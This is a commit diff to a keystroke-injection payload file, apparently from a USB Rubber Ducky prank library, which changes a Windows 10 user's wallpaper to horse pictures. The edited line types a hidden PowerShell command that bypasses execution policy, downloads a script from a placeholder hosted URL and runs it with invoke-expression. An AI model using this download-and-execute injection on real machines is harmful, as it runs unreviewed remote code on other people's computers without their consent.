Update payload.txt

Add DEFINE for script url

payloads/library/prank/Horsd/payload.txt

@@ -4,6 +4,7 @@ REM Description:    A simple script that will change the users wallpaper to Brow
 REM Dedicated to:   This script is a toast to my Nan that passed recently (she pioneered horse backgrounds on her decade-old laptop.)
 REM Target OS: Windows 10
 REM Required Configurations: Ensure that you have amended changes to the URL with a direct link to the script hosted by your own hosting service. DO NOT use GitHub as a medium for staging the script.
+DEFINE #SCRIPTURL yourhostedscriptlink.com
 
 DELAY 3000
 GUI r
@@ -19,9 +20,7 @@ ENTER
 DELAY 1000
 GUI r
 DELAY 300
-REM ### REQUIRES CONFIGURATION ###
-STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr <your own hosted link here>/horsd.ps1?dl=1; invoke-expression $pl
-REM ### ---------------------- ###
+STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr #SCRIPTURL/horsd.ps1?dl=1; invoke-expression $pl
 ENTER
 DELAY 1000
 GUI r
@@ -33,4 +32,4 @@ STRING Remove-Item horse.jpg
 ENTER
 DELAY 300
 STRING exit
-ENTER
+ENTER